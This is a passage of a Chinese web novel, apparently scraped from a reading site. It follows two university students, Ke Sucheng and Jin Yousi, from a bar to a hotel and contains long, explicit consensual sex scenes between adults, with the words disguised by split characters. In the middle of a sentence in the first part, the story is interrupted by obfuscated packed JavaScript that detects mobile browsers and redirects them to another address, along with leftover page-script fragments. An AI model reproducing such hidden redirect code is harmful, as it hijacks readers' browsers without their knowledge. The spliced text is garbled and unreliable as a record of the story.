极为苦恼的说:“突然又有点想吃甜的了。”她说这话时,看似真的有在烦闷的思考,这可如何是好呢,实际上语调中却带着些许玩味。 靳宥司听得明白,也就正中下怀,不费吹灰之力的将人拉入了这场局。 十分钟后,两人一同起身离开幻师。 柯愫澄总共喝了四杯酒,都是些度数高却又容易入喉的酒,人没醉,只是有些上头,倒是能分清楚东南西北,也知道两人这次进酒店的最终目的是什么。 正因如此她才走得慢悠悠,毕竟心急吃不了热豆腐。 反观靳宥司,他步子迈得就要大许多,到底是高了十五公分,腿更长,柯愫澄就在他后边,完全跟不上他的速度。 抱怨的话还没说出口,靳宥司蓦地转过身,柯愫澄险些一头撞进他怀里,就看到他摊开手递到了面前。 下一秒,头顶传来一道冷淡低沉的声音:“车钥匙。” 柯愫澄轻微蹙眉,脱口而出:“你要车钥匙做什么?” “不能酒驾。”说着这话,靳宥司眉梢一挑,快速屈了两下手指,意思赶紧的。 柯愫澄的手揣在兜里,把玩着车钥匙,没打算直接给,单纯故意找茬儿:“你会吗?有驾驶证吗?” 靳宥司没多余的话,懒得跟她在这里玩没意义的唇舌游戏,反手拿起油箱上的黑色头盔,伸手拉住柯愫澄手腕,一把将她拽到跟前,头盔扣到她头上,从她兜里将车钥匙拿出来,插进钥匙孔内。 跨上车,拧动钥匙,点火启动,侧头看一眼站原地一动不动的柯愫澄:“麻溜点儿。” 柯愫澄一时语塞,将挡风镜片打上去:“你急什么,又不是吃不到。”说着,她一手撑在靳宥司肩膀,跨上后座。 她倒也没觉得不好意思,睡都睡过了,手臂牢牢环住靳宥司的腰,脑袋靠在他宽阔结实的后背。 靳宥司下意识低头看了眼腰上的手臂,细得跟什么似的,他收回视线,挂档,松离合,起步驶上主路。 别说,这还是柯愫澄第一次正儿八经的坐人后座,先前她总是嫌人家开太慢,跟坐摇摇车似的,没意思,这次上车前她就想好了,等会儿停车了,她保准要吐槽几句。 结果……是自己低估了这位大少爷。 也对,他家里什么条件,下午在路口看到的那辆车的车型,大概也能猜出来,这位少爷对赛车很感兴趣,那都玩得明白赛车了,能不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14867545|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩轮子的车吗。 此时此刻,柯愫澄甚至有一种上赛道参加比赛的感觉,靳宥司简直开太猛了,爽翻天。 正沉浸在这样的速度与激情当中,车速却渐渐慢了下来,直至完全停住。 柯愫澄立起脖子,环顾四周,确认还没到地方,她皱眉:“你干嘛?” 靳宥司将车熄火,钥匙拔了:“下车,买套。” 柯愫澄头正晕着,压根儿不想动弹,也觉得做饭前的买锅碗瓢盆菜用不着自己亲自去。 她直接把不乐意摆在明面上:“我也要去?” 靳宥司跨下车,无所谓这些:“不想去也行,还是买你喜欢的那款?” 柯愫澄算是弄明白了,在特定的某些时刻,靳宥司说话总是直白的,让人能更加直观的感受到他人设的反差。 正因如此,柯愫澄内心深处涌动的潮.水难以遏制,如同烈火般,喷涌而来。 这会儿轮到她着急了:“我喜欢哪款?” 靳宥司没有回答她这个问题,转身朝着便利店的方向走。 五分钟不到,人出来了,来到跟前时,他往柯愫澄怀里丢了盒十支装的套。 柯愫澄稳稳接住,低头一看,盒子上明晃晃印着三个大字:冰粒粒。 半小时后,机车停在酒店前坪停车场。两人下了车,没多余的话,径直往酒店大厅走去。 正准备拐去电梯间,前台接待急忙站起身:“靳先生,您订的蛋糕我们还没来得及给您送上楼,实在抱歉。”说着,她提着蛋糕盒绕出前台区域,来到靳宥司跟前,微微鞠躬。 柯愫澄眼底掠过一丝讶异,看了眼蛋糕盒,又看向靳宥司。 靳宥司面上看不出什么情绪,淡淡开口说了句没事儿,接住递到面前的蛋糕盒,拎着往电梯间走。 来到电梯间,柯愫澄先一步按了上行键,余光瞟到靳宥司神情依旧,整个人的感觉都是拽又吊儿郎当的,跟在学校时简直判若两人。 随着电梯层数越降越低,柯愫澄开口:“我以为你随便说说。” 靳宥司知道这里的随便说说具体指的是什么,他语气不太正经:“你又不是蛋糕。” 闻言,柯愫澄不自觉挑了下眉,看到电梯的楼层数下降至一层。随着叮的一声响,电梯门向两侧缓缓打开。 柯愫澄先一步抬腿,迈入电梯时,故意说:“你是?” 靳宥司紧跟其后进到电梯里:“我也不是。” 刷卡进入套房。 靳宥司将蛋糕盒放到客厅茶几上,柯愫澄这会儿差不多快醒酒了,头晕缓解了许多,兴许是前不久的你来我往游戏玩得太入迷。 她在沙发上坐下,将蛋糕盒拆开,看样子有些迫不及待品尝到这份甜品。 见状,靳宥司把手机从兜里掏出来撇到沙发上,转身往浴室的方向走。 柯愫澄余光瞟到了,没多在意,先吃了两口蛋糕,听到浴室有水声传出,她又去酒柜里拿了支红酒,撬开瓶盖,对瓶吹了大半瓶才起身。 来到浴室前,她没有丝毫犹豫直接推开了门。 空气中弥漫着薄薄一层雾气,淋浴间的透明玻璃上,有几颗水珠顺着往下落,明明深处朦胧之境,柯愫澄却能将正在冲洗头上泡泡的靳宥司看得一清二楚。 察觉到有外来入侵者,靳宥司的动作顿了半秒,并没有出声阻止,继续冲洗头上的泡泡。 柯愫澄反手关上浴室的门,以防有冷气跑进来。而后大步走了过去,光脚踩入淋浴间。淋浴间的地板砖是防滑设计,踩上去触感有些微微的凉。 柯愫澄管不了那么多,因为面前的男人,头上的泡泡已经完全冲洗干净,也已经睁开了眼。 四目相对。 柯愫澄没能准确察觉出对方眼神中的异样,还直勾勾盯着。 花洒的水冲打在靳宥司后背,有少许溅到了柯愫澄的收腰白衬衫上。 对视数秒后,靳宥司注意到她唇角的一丝丝红酒渍。 他下意识拧眉,声音低沉得厉害:“你又喝酒了?” 话音刚落,柯愫澄突然上前一步,手掌撑在靳宥司胸口,垫起脚,微微侧头,轻咬住他的喉结。 惦记好久了,现在终于吃到了。 柯愫澄有些不管不顾,狠狠的嘬,像是吸血鬼,逮到猎物后准备饱餐一顿。 靳宥司感受到她锋利的牙齿,正细细的磨,那块凸,起部位的肉,好像想将那藏在皮肤里的石更,牛勿吃进肚子里。 呼吸随之变得急促。 靳宥司余光瞟到柯愫澄发丝上沾到了些许奶油,还没有所动作,她放过了他。 后退一步,一双眼还盯着那处性感,比前不久在幻师时看得更认真。 靳宥司的视线则停留在柯愫澄的眉眼间,喉结上下轻滚。 柯愫澄直白开口:“留痕了。” 靳宥司没应她这句,而是问:“蛋糕还有吗?” 柯愫澄没太懂他这话里的深层意思,当下只觉得,他说话声音真好听,冷冷淡淡,低磁性感,比他那喉结还要撩人。 “有,怎么了?”回答着这个问题,她的视线向上,移至他嘴唇,最后停在他双眸。 下一秒,柯愫澄感受到后背被撑住,紧接着就是来自男人掌心的灼热,他不费吹灰之力便摸到了排扣。 都来不及震惊,靳宥司不再克制,解开:“吃两颗奶油草莓。” 78、馋了 靳宥司知道柯愫澄胆儿大,最喜欢做的事情就是撩拨,然后转头跑掉。他不给她这个机会,先将人控制住,死死按在自己腿上,一只手扶在她后背,另一只手直接将她的手攥牢。 靳宥司掌心大,手指长,一只手足够控制住柯愫澄。 她像是不怕事,还歪着头看他,觉得他怪可爱的,也知道他这么做是为什么,但故意说:“是我猜错了吗?” 靳宥司没回答这个问题,微微勾起唇角,笑容里透着一股子痞劲。 柯愫澄不等他,特别正经的说:“好像是猜错了。” 靳宥司不知道柯愫澄又在玩什么花样,她鬼点子多,哪怕再了解,有时候也会拿不准。他捏着她的后腰:“那正确答案是什么?” 柯愫澄的视线由靳宥司的双眸,缓缓向下,移至他的嘴唇,直勾勾盯着,想象它的美味。靳宥司被柯愫澄盯得浑身燥热,她就是故意的,盯着就不动了,就没下一步动作的吗? 他有些等不及,此时浴缸的水已经放了大半,在客厅亲一会儿就可以转场去浴室了,但柯愫澄明显在拖延时间,两人在这件事上的节奏把控,真的完全不一样。 柯愫澄属于没开始前就一个劲的撩拨,她也不直入主题,就慢慢在游戏开始界面挑选技能,磨一磨,说说话,再摸几下,反正就是不干正事。而靳宥司则是完全不需要游戏加载环节,什么技能无所谓,他喜欢快速进入,不管挑战者有多么不好对付,他都要横冲直撞。 等到正式开始游戏了,柯愫澄就属于嘴上说着能不能滚,身体倒是诚实,包,裹住,完全不像想让人滚的样。 全程骂骂咧咧,一张嘴完全歇不下来,边骂,呼吸越发急促,都要背过气。 靳宥司见了都累,想让她歇一歇,就一个劲的亲她,堵上她的嘴,让她没法说话,只能用力感受,感受得差不多了就翻面,摊起了煎饼,从后掐住她的下巴,要她樟嘴。 她牙口好,咬下去那一下,有种刺痛感,不过这算不了什么,调,情罢了。 他喜欢玩弄她柔软的小舌头,她就跟小猫咪似的,喜欢时就会伸出舌头,舌忝一,舌忝,柔软而又湿润的触感让人浑身发麻。 谁说她不懂这些,她明明很会,要不然靳宥司也不会在一开始被她骗,只有等熟悉了才会知道,她可太乖了,也容易害羞脸红。 如今听到靳宥司的问题,柯愫澄终于不再一直盯着他的嘴唇,雨林深处的水池,漩涡正在努力吞噬周围的一切,稍微靠近就有生命危险。她得想办法赶在暴雨来临之际,找到那颗参天大树才行,再不浇灌,大树会枯死。 柯愫澄可舍不得,她馋得要命。 这么想着,她凑到他耳畔,强行抽出一只手,揉捏着他没有耳洞的耳垂,边揉着,她说:“我觉得正确答案应该是——” 她不说话了,从耳垂慢慢捏到耳骨,柯愫澄没跟靳宥司说过,其实很早前她就想再帮他穿一个耳洞,他的耳朵太漂亮,耳骨的位置来一个耳钉刚刚好合适,光想想就觉得带劲。 她捏了两下,没忍住直接张嘴咬在上面,感受到靳宥司胸腔猛烈起伏着,还有后背的那只大手,力度也加重了许多。柯愫澄知道,再玩下去她就完了。 她还是懂分寸的,没那么欠,故意到一个度就得收一收,要不然以靳宥司的持,久度,明天早八肯定是赶不上了,这会儿才中午,两人饭都没吃,应该先吃真饭才是。 柯愫澄改变主意了,他们不能满脑子都是炒菜。她说:“我们要不先去外面吃个饭?或者点外卖?” 也就这么一句话,靳宥司的脸色骤然阴沉下来,直接将柯愫澄两只手控制住,反背到身后,让她没法逃。他的声音里都透着几分愠怒:“耍我玩呢?” 柯愫澄特无辜:“我认真的。” 靳宥司才不管那么多,她怎么总这样!收放自如不带这么玩的。他皱着眉,哑着嗓音道:“好好回答。” “回答什么?”“正确答案。” 柯愫澄拖着长音哦了声,挑眉憋笑:“吃你啊。” “什么?”靳宥司有些没反应过来,她速度太快,像是不够肯定,正反复确认呢。 柯愫澄就再说一遍:“是我想吃你。” 她话音刚落,靳宥司直接托着她的屁,股,将人抱起往浴室的方向走。 这会儿浴缸的水位刚刚好,靳宥司先将柯愫澄放到洗手台面坐着,去关了水龙头,再回来时,柯愫澄特悠闲的翘着一条腿坐着。 靳宥司看了她一眼,就一句:“满足一下你。” 柯愫澄的视线已经落在他头上戴着的毛绒猫咪耳朵上,他这样简直就是个行走的巨大萌物,所以靳宥司是怎么做到既能驾驭女仆装头饰,又能驾驭猫咪耳朵头饰的?他可爱爆了好吗!柯愫澄都不敢想,靳宥司戴着这么可爱的小东西,把着月要,猛猛,泔的画面。 好吧,都用不着她仔细想,靳宥司已经看透她脑袋瓜里的小九九,边打开柜门,从里头拿出一盒没拆封的拦精灵,直接挑破:“别想了,都满足你。” 柯愫澄意外又不意外,眼睛都亮了几个度:“真的假的?” 靳宥司拆着塑封膜,掀起眼皮看她:"喜欢我戴这个?" “喜欢。” “就买了一个?” “还有一个,在楼下,你要干嘛?”柯愫澄没悟懂。 靳宥司也不说,从盒子里拿出一片,放到洗手台面,随后拉开浴室的门,留下一句:“你戴着很可爱。” 这下柯愫澄知道靳宥司的意思了,这是要两只小猫咪炒香喷喷的饭啊。不过她的注意力已经被那顶帐篷所吸引,不自觉的她也有些燥热,扭了两下。 等靳宥司再回来的时候,柯愫澄已经不在洗手台上坐着。而此时的洗手台上,丢了一堆衣服,靳宥司刚迈进浴室,柯愫澄就从角落里冲出来直接跳到了他身上。就跟树懒似的,牢牢挂着,月退盘在他的月要上,全身上下就只穿了文月匈和小内内。 这会儿浴室的温度不高,反而还有些细微的凉意,但柯愫澄的身体却烫得很。靳宥司一手护住她的月要,另一只手上还拿着猫咪耳朵。 这两副猫咪耳朵是不同的款式,靳宥司头上戴着的这副整体是黑色,只有耳朵内侧的犟种毛是白色的。而重新拿上来的这副,毛更炸,外圈是黑色的毛,耳朵内侧是粉色的短绒毛,耳垂部位还有蝴蝶结做装饰,蝴蝶结的上面有一颗小铃铛。 这个铃铛就特别适合柯愫澄,一摇一晃,不管是开小火车,还是坐大,马,叮叮当当特别悦耳。 靳宥司反手将门关上,抱着柯愫澄来到浴缸旁:“这么着急?” “不是我急,是弟弟急了。”柯愫澄说得一本正经。 主要是现在这个滋事,她是完全坐在烤箱上边的,能很明显的感受到,烤箱里的法木昆已经熟透,外壳酥酥脆脆,可能会有点废牙。 不过想这么多也没用,靳宥司不允许自己口乞,他这人真是一点道理都不讲,尝试一下都不行,要尝了觉得不喜欢就口土出来嘛,难不成傻到不喜欢还一个劲的吞,口土吗。 柯愫澄知道,靳宥司不会同意的,不跟他说这些,只道:“你把我放下来,坐着不舒服,咯屁股。” 靳宥司看到柯愫澄耳根子都红透了,脸颊也是,明明没喝酒,这会儿羞得跟醉了一样。 嫩成这样还装高手。 靳宥司将人放下,待柯愫澄在浴缸边沿坐好,他把猫咪耳朵头饰戴到她头上,戴好了还拨弄了一下那颗小铃铛。听到铃铛叮叮当当的响,柯愫澄的手已经接触烤箱,不打一声招呼的,直接拉开了烤箱的门。 看着热气腾腾的法木昆面包,它就这样一览无余的暴露在眼前。柯愫澄想不到合适的形容词,只觉得它就像是擎旗手,身姿挺拔,昂首挺胸。 最终她还是没忍住,趁着靳宥司没察觉,直接凑了上去。嘴唇触碰到,头,部的那一下,靳宥司动作迅速地后退了两步,看着柯愫澄一脸无辜,铃铛随着低头抬头的动作幅度,发出略微有些勾人的声响。靳宥司早忍不住了,现在被她这样玩一下,更是燥得难受,原本就已经熟透了的法木昆,更是再月长,大了一个号。 紧接着就看到,靳宥司额头上的青筋隐隐跳动,板着脸训话:"又来?之前说的话当耳边风?" “你之前说什么了?不让吃吗?” 柯愫澄装不懂真是有一套,想生气都气不起来,要怪只能怪他自己,太容易被她蛊惑,可这究竟有什么好的?嘴不见有多爱亲,这玩意儿一个劲的往上凑。 靳宥司能接受用手,用月匈,用身体的随便哪个部位都行,唯独嘴不行。他不想柯愫澄难受,在这方面他还是比较保守的,又或者说,他享受帮助所带来的快,感,但不接受柯愫澄用这样的方式来取悦自己。 沉默了好一阵,柯愫澄似乎看出了什么,她拉着他的手,知道他不会过来,就伸着手臂,只轻轻捏他的掌心,看着他的眼睛告诉他:“我不会为了取悦你,做自己不喜欢的事情。之前那次,和刚刚这次,只是因为——” “因为什么?”靳宥司不是不相信柯愫澄的话,是打心底里没搞明白她喜欢的原因。 柯愫澄觉得难以启齿,这话还是太羞耻了点。靳宥司知道,走过来,再次将她抱起,这个距离,她的嘴巴刚好凑在他的耳侧。柯愫澄知道靳宥司的意思,压着音量,小小声说:“因为我想吃。”靳宥司眉心稍稍拧了下:"对它就这么感兴趣?" 能不感兴趣吗,那么强壮,那么大个,还漂亮,捏在手上跟木木昆一样结实,还滚烫。柯愫澄难得软下来:“试一次,就一次行吗?”真的纯好奇啊!话音落,靳宥司将柯愫澄丢进浴缸里。柯愫澄以为这就表示他依旧不答应,瞬间泄了气,抬手擦去飞溅到脸颊上的水渍,偏头不看他了。不过如此嘛,法棍面包谁没吃过,大学城附近有家面包店的贝果和碱水结特好吃,法棍也不错,吃好多次了,才不稀罕呢!紧接着,靳宥司迈进浴缸,坐进水里。柯愫澄这会儿还不知道他要干什么,手已经被他带到了上面。像是要人提前做做准备,柯愫澄下意识动了动牙。紧接着就看到他透着为难的眼睛,余光里那漂亮的擎旗手真是叫人挪不开眼。 很快,他起身,坐在了浴缸边沿的位置。 听到他说:“不能用牙齿。” 柯愫澄知道,它很脆弱的。 正准备靠近,靳宥司叹了口气,捏着柯愫澄的下巴,让她看着自己。 “就不能玩点别的吗?” “能玩什么?”柯愫澄一时间想不到。 靳宥司的眼底透着复杂的情绪,好半天他才开口:“我可以穿裙子给你看。” 柯愫澄彻底兴奋了:“那你现在去穿。” “然后呢。”靳宥司料到准没好事。 柯愫澄没让人失望,眉梢轻轻一挑:“然后继续品尝。” 得,纯没事找事。 79、嗷呜 挖坑自己跳进去后,靳宥司没了其他动作,只有擎旗手翘起了头部。 柯愫澄在这时催促道:“快去啊,别耽误时间了。” 靳宥司依旧没动,甚至微微垂下了头,神情十分复杂。 好半天他才说:“能反悔吗?” 柯愫澄就知道会这样,气不过不给任何反应的机会,直接握住一半,张嘴口乞上去。 突如其来的包裹感让靳宥司倒吸了口气,他一只手顺势往后撑,另一只手被柯愫澄紧紧牵着。 听到她像是在品尝什么美味一样,发出嗷呜嗷呜的声音。她不会干这个,更加没有看过相关的视频教程,以至于她的评鉴方法就真的像是在口乞东西,只是这东西不能用牙齿。 她先是张嘴包住冰淇淋,巴不得可以一口气吃完,但奈何肯爷爷的冰淇淋要比麦当当的大,还有好长好长一大截口乞不进去,最多吃掉上边的冰淇淋球,可这玩意实在冻牙,没办法,没被宠幸到的部位就只能用, 手岛弄,边捣,她也不放过冰淇淋球,只是她的口乞法太稀奇,不知道要上下吃,只紧紧拥抱着它,然后用,舌头打圈, 慢慢舌忝,舌头碰到冰淇淋酥脆外壳上凸起的纹路,反应过来不能一直这样,她才开始换花样,屯屯口土,口土几回后,脸颊都有些发酸发胀,简直被这木艮冰淇淋冻坏 了。 她口土出来的时候还不忘口最了一下球顶,看到它又漳大了一些,柯愫澄抬起头,看着耳根子已经红透了的靳宥司:“什么感觉?” 靳宥司没吭声,忍了好一会儿才开口说话,他的声音有些沙哑:“不知道。” 柯愫澄没懂,不自觉皱起眉:“不知道是什么意思?没感觉?”说着,也等不及听靳宥司的解释,甩开他的手,用两只手卧住冰淇淋,再次吃掉它。 这回她开始边涛弄,边屯口土,速度算不上快,毕竟冷东西吃太急了脑仁会特别疼,但这样已经足够让靳宥司受不住,他忍着,抓住柯愫澄的手腕。 喉咙里发出声音:“可以了,可以了宝宝,歇会儿。” 柯愫澄已经来劲了,甩开他的手,口土出来,瞪着他:“你闭嘴。”说完这话,她再次埋头口乞进嘴里。 靳宥司被她弄得浑身燥热,小腹上的漂亮纹路异常明显,虽然柯愫澄在这件事上并不熟练,有时也会不小心用到牙,但她有她自己的节奏,有自己的玩法,正在努力跟它打好关系呢。 靳宥司有些忍不住,看到她有些上瘾,不自觉往上丁页了下。也就这么一下,能很明显的感受到丁页到了什么,像是来到了雨林深处,但这样依旧只屯下一半。柯愫澄也因为被研学家带到了这样神秘的地方,止不住的咳嗽。 见状,靳宥司立马将人抱起,看到她眼尾都有些泛红,他用指腹擦了下她的嘴唇。听到柯愫澄说:“我以为可以帮你弄出来。” 靳宥司已经起身去拿洗手台上的拦精灵:“吃一个小时不得累死?”说着,他回到浴缸。柯愫澄这会儿坐进了浴缸中,脑袋以下全泡在水里,看到靳宥司把那一片放在浴缸旁,又去拿了一条很厚的毛巾。 边对折,边问:“脸酸不酸?” 柯愫澄嗯了声:“有点。” 听这口气,靳宥司有了自己的猜测:“下回还玩不玩?” 看到靳宥司迈入浴缸中,刚坐下,柯愫澄伸手拉住他的手臂,借力起身,往他月退上,坐。 法木昆面包丢进了烤箱缝隙里,被挡板挡住,挤在中间,柯愫澄环着靳宥司的脖子,不回答这个问题,而是直接对准他的嘴唇,亲了上去。 刚碰上,柯愫澄快速探入舌尖,在他口腔里一顿扫荡,缠着,猛烈的吻着。 不得不说,大学城这家面包店的发木昆实在太结实,一直戳着,是不是买了这玩意,那些约架的混混都不用带铁木昆了,这东西打死人。柯愫澄能感受到,雨林深处的水池又发起了大水,草丛周围都湿透了,靳宥司的一只手把在月要上,另一只手摸到了排扣。 他也不好好解,手伸进排扣里,摸着柯愫澄的背,叫人浑身发痒。柯愫澄故意报复他,扭了两下身子,用穿着内裤的秘密基地磨,它,磨了没两下,排扣被轻松解开。柯愫澄边用力吻着靳宥司,配合着月兑掉了文月匈,文月匈轻飘飘浮在水面,被靳宥司拿起丢到了一旁。手刚沿着月要肢往下,柯愫澄停住了不亲了,盯着靳宥司被亲得发红的嘴唇,视线向上移至他的双眸:“怎么样?你的味道。” 靳有司没想到柯愫澄亲自己另有目的,真是坏得很,看她喝瑟的样,他的手已经碰到柯愫澄内内边缘。一只手指,探进去,扯起边边一点点,快速松开,发出声响。靳宥司这才说:“没尝出来,我觉得露水比较好喝。” 柯愫澄切了声:“那你都没身寸出来,哪来的味道。” 靳宥司狠狠掐在柯愫澄的腰上:“你甭想了。” 柯愫澄没那么变态,没想那些乱七八糟的,但都不给她解释的机会,靳宥司伸手拿来被折好的厚毛巾,直接放入水中,垫在浴缸底部。紧接着,他将柯愫澄翻了个面,膝盖靠在毛巾上,一手抱着她的月要,一手扶在她肩膀上:“手抓稳。” 感受到内内被靳有司八掉,没全部月兑掉,还挂在大月退上。靳宥司都用不着低头看,第一个小兄弟直接破门而入。 两人已经有很长一段时间没做饭了,在港城的那几天就吃吃喝喝玩玩,干的最多的一件事就是拥抱和接吻。所以这次的感受就特别的强烈,算起来两人一个多月没开荤,第一餐饭柯愫澄就提出要吃家伙,她别是真馋了。 此时还只邀请了一位好伙伴,柯愫澄就不自觉的给了它一个大大的拥抱,听到靳宥司说:“别,加,放松点,要不然没法继续。” 柯愫澄没功夫跟他搭话,小月复微微发颤,他来回的参观,在点位附近徘徊,更像是在耍小手段,故意勾引呢,这让柯愫澄想要的更多,见到朋友后喜极而泣,要是换个地方,靳宥司的好伙伴就该湿透了。 感受到他停了下来,这回破门而入的居然有两位,柯愫澄是这家的主人,自然想阻拦,但耐不住两位好伙伴过于热情,虽然有点艰难,但还是进了家门,来到这栋房子最秘密的地带。 涨裂感越发强烈,想到等会儿要用那个大,家伙,柯愫澄瞬间怂了。 但怕的同时又嫌弃靳有司太慢,她不想做那么多的前期选择技能道具工作,又不是她玩他,来两下意思意思得了,如果是她玩他,那来半小时才差不多。 柯愫澄等不及了,这游戏能不能别倒计时了,直接开战吧。 她一手撑着浴缸边沿,回过头,另一只手精准抓住大boss的家伙,要带着它去山谷中的洞穴里。 此时洞穴里还装着俩好朋友,柯愫澄语气不耐:“快点出来。” 靳宥司听话,已经赶走好朋友,拿起那片拦精灵,穿上后两只手,把在了柯愫澄的月要上,但控制着只来到门口,没往里进:“痛不死你。” “痛不痛你,捅了才知道。” 粗话张嘴就来,这会儿不知道脸红了? 靳有司早忍不了了,听她的,把着月要,进门参观,不过也才探进半个身子,听到柯愫澄直接叫出了声,他开始撞,浴缸中的水拍打在身上,像暴风雨来临前的海浪,伴随着巨大的声响。 靳宥司一手压在柯愫澄后背,往下按,摸到后月要上那颗痣。 柯愫澄想回过身看他,想他亲吻自己。靳宥司就直接把她拉了起来,手臂从后环抱着她的肩膀,边怼,边亲。 没两下柯愫澄有感觉了,不亲了,双手撑回浴缸边沿,声音越来越大,呼吸也变得急促,听到后方传来靳宥司的说话声:“就来了?” 柯愫澄承认太久没玩游戏,技术方面有些生疏,加上第一次玩,强烈的刺激感让她没忍住,但她听不了靳有司说这话,明明已经受不住,声音都变了,还嘴硬:“少说话,多做事。” 多做。 靳宥司听懂了,怼得更猛。柯愫澄头上戴的猫咪耳朵,铃铛叮叮当当响个不停。 靳宥司轻俯身,凑到柯愫澄耳边,咬着她的耳垂,嗓音低沉有磁性:“是不是想看我穿裙子?” 柯愫澄没功夫回他,整个身体都在抖,暴风雨要来了,水池中的漩涡正在剧烈收缩,将周围的绿植全卷了进去。 等过了这一阵,靳宥司将,家伙八出来,起身迈出浴缸,把柯愫澄直接抱出来。 柯愫澄就像树懒一样挂在他身上,手臂环着他脖子,脑袋靠在他肩膀。他一手托着柯愫澄的屁,股,一手拎了条新毛巾,离开浴室来到卧室。 毛巾铺在床上,把柯愫澄丢到上面,靳宥司转身去了衣帽间,回来的时候,柯愫澄正侧躺着,一手撑着脑袋,一手拨弄着猫咪耳朵上的小铃铛。 看到靳有司已经穿好女仆装,这套裙子和他头上戴着的猫咪耳朵意外的适配,柯愫澄都有点想给他拍张照片,不过现在肯定是不行的,他那个地方正支起帐篷呢,裙摆都被撑起来了。 紧接着,柯愫澄视线向上,看到靳有司不太情愿的样子,莫名就觉得勉强一个人怎么可以这么爽呢,也难怪靳宥司之前那么喜欢直接扛着人就走,原来强制这么带劲的。 柯愫澄勾勾手指:“你知不知道你现在这样可带感了。” 靳宥司不知道,已经把柯愫澄重新抱起来,掀起裙子,来到家门前,钥匙对准锁眼,就这样,童了,进去。 这个滋,事跟女,上没什么区别,非要说,区别就在于,女,上要自己云力,特别容易累,但被抱着就是靳宥司云力,每次几乎都来到房子最丁页部。 柯愫澄抱得紧,灼热的呼吸打在靳有司耳畔,听到她说:“man一点,man一点。” 靳宥司装听不到,没有丝毫减速,玩赛车的最喜欢的就是油门踩到底。他把柯愫澄放回床上,面对面。柯愫澄的两月退,靠在靳宥司的肩膀上,看到小腹上有凸,起,靳宥司用手轻轻按了下。 柯愫澄不知道他在干什么,还问:“你按我月土子干什么?” 靳宥司不说,拿着她的手放到小月复上,让她自己感受。感受完,靳宥司再次八了出来,也上了床,带着柯愫澄侧,身尚下来,从后敲门。他的手捏在云朵上,又用手指揪起小米立米立,柯愫澄的叫声越来越大,完全没有羞不羞这一说法,边叫还骂人,骂完人又说别弄了要土不了。靳宥司不捏云朵了,改为探索密林深处的小珍珠岛,这会儿柯愫澄已经快来了,被这样里外夹击,更是没两下就pen了。 这已经是第二次,靳有司完全不让人休息,躺平后把柯愫澄抱到,月退上,坐着:“不是喜欢骑车吗?现在满足你。” 听到这句,柯愫澄想扇他,还没抬手,两只手就被握住。她已经坐上去,这会儿风雨刚过去,室外被摧残得不成样,工作人员还没收拾好路面,就再次被称开,柯愫澄忍不住,扭了两下,让强壮有力的好朋友更深入的了解彼此。 到后面柯愫澄也数不清来了多少次,从天亮玩到了太阳快下山,楼上玩完就去楼下,整个房间都被参观了一遍。柯愫澄实在有些吃不消,靳有司才抱着她去洗澡。洗完澡出来,柯愫澄让靳宥司叫个外卖,他应了好,躺床上开始看今晚吃点什么。柯愫澄则去衣帽间挑了一件他的衣服来穿。 回到卧室,柯愫澄来到梳妆台前,拿起桌上的手机,透过镜子看到床上的靳宥司,微微侧躺着,一手握着手机,慢慢滑动屏幕。她突然来了兴致,解锁手机点进相机,对着镜子,快速按下拍摄键,随后踱步来到床边,发了条朋友圈,配文是一个草莓的emoji。 这张照片很快被转载到复大论坛上。可以看到,对镜照中,柯愫澄一手撑在桌子边缘,她穿着宽大的白色短袖,露出一截漂亮的大腿,脖颈处的草莓印格外明显。而这张照片的另一个亮点,是后边床上躺着的靳宥司。 80、星奇摇2.0 柯愫澄将手机锁屏,丢床头柜上。 刚掀开被子一角坐上床,靳宥司点好外卖,看过去一眼: "你刚刚在那干嘛?" 柯愫澄脱口而出:“没干嘛啊,怎么了?”说着这话,她将一条腿自然的搭到了靳宥司的腿上。 感受到柯愫澄的脚有些凉,明明才做完运动,还洗了热水澡,怎么身体就是很难发热呢。靳宥司原本半躺着,这会儿直接坐了起来,用手给柯愫澄捂脚。 做着这些事,柯愫澄看到靳宥司一脸不相信,她才恍然意识到他在说什么。边哦边解释:"我刚刚拍了张照片。" 靳宥司就知道,并不在意,随口问了句:“什么样的?” 柯愫澄已经猜到靳宥司心里的那些小九九,装吧他就。她反手拿来床头柜上的手机,解锁找到刚刚拍的照片,拿到靳宥司面前给他看:“呐,就这张。” 靳宥司掀起眼皮,仔仔细细看着这照片,语速悠悠的:“就一张?” 柯愫澄收回手机:“对啊。” 感受到脚失去了暖意,靳宥司的手已经伸出被子,拿床头柜上的手机,翻找一顿后说:“我这有一张。” 柯愫澄特好奇,探着脑袋看靳宥司的手机屏幕,就看到他居然偷偷拍了一张自己的背影,就是前不久站在梳妆台的时候。那会儿柯愫澄正在编辑朋友圈,所以没看镜子,也就不知道明明在点外卖的靳宥司,居然偷拍上了。 她牵起一边的唇角,挑眉:“这么顺手?你是不是之前就干过这种事。” 靳宥司都不带藏着掖着的,直接就承认了:“对啊。”说这话时他还特嘚瑟,才不要告诉柯愫澄呢,他可太他妈的会玩暗恋了,柯愫澄又怎么会懂呢。 看到靳宥司这副吊儿郎当的样,柯愫澄忍不住抬手捏了下他的耳垂,告诉他:“我觉得现在论坛应该很热闹。” 谁知话音刚落,靳宥司就勾了下唇:"我也觉得。" 这下柯愫澄懵了,完全没搞明白是什么意思,难不成他已经看到那条朋友圈了?那未免太快了点吧,他刚刚真的有在好好点外卖吗? 柯愫澄表情里满是疑惑:“你为什么这样觉得?” 靳宥司轻抬了下眉,示意要柯愫澄看手机:“你去论坛逛一圈就知道了。” 柯愫澄再次解锁手机,刚登上论坛就看到两条热帖,点进去一看,一条帖子是匿名者转载的她发布的朋友圈。也是这会儿柯愫澄才发现,她拍的这张照片里,靳宥司下半身盖着被子,上半身裸,露着,胸口的咬痕和吻痕比自己脖子上的还要明显得多。 评论区都没来得及看,她紧接着点进了另外一条热帖,看到转载照片的下一秒,柯愫澄目光微微一顿,抬起头看着懒散靠着枕头的靳宥司“你什么时候发的朋友圈?” 